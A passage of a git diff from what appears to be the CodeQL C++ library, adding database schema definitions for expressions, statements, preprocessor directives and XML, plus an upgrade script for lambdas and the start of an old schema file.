+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties
new file mode 100644
index 00000000000..3fdb0aa5a82
--- /dev/null
+++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties
@@ -0,0 +1,2 @@
+description: Support __mfp8 type
+compatibility: full
diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql
new file mode 100644
index 00000000000..f3891442a86
--- /dev/null
+++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql
@@ -0,0 +1,7 @@
+class LambdaExpr extends @lambdaexpr {
+ string toString() { none() }
+}
+
+from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type
+where lambdas(lambda, default_capture, has_explicit_return_type)
+select lambda, default_capture, has_explicit_return_type, true
diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme
new file mode 100644
index 00000000000..af887e83a81
--- /dev/null
+++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme
@@ -0,0 +1,2492 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
